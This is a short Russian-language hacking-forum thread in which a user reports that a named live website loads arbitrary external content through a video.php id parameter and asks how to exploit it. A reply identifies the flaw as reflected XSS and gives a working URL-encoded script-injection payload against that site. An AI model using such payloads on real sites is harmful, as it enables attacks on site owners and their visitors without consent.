Заманчивый баг на сайте )))

[comstream]

Сегодня играясь с настройками сайта заметил интересную вещь, что сайт через video.php?= подгружает любой контент.

http://s7.hostingkartinok.com/uploads/images/2015/08/70396e3613570f812eafdf1479a0d76d.jpg (http://hostingkartinok.com/show-image.php?id=70396e3613570f812eafdf1479a0d76d)

http://s7.hostingkartinok.com/uploads/images/2015/08/34a60d0539036df765a107f82bdf557a.jpg (http://hostingkartinok.com/show-image.php?id=34a60d0539036df765a107f82bdf557a)

Т.е.

http://vsv-astana.kz/video.php?id=vsv-astana.kz/video.php?id=vsv-astana.kz/about.php

получается такого рода капуста, можно сайт отобразить в себе несколько раз )))

или вот http://vsv-astana.kz/video.php?id=antichat.ru )))

также работает скачивание если в ссылку подставить прямой URL на файл.

Подскажите пожалуйста как можно раскрутить данный баг?

Или это нормальное поведение.

Спасибо.

[ocheretko]

Это не нормальное поведение, это - Reflected xss


http://vsv-astana.kz/video.php?id=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28/xss/%29;%3C/script%3E

[comstream]

Спасибо. Всё понятно

[comstream]

http://s7.hostingkartinok.com/uploads/images/2015/08/4baf49414717034c20a3d7c000f26bfa.jpg (http://hostingkartinok.com/show-image.php?id=4baf49414717034c20a3d7c000f26bfa)

В итоге.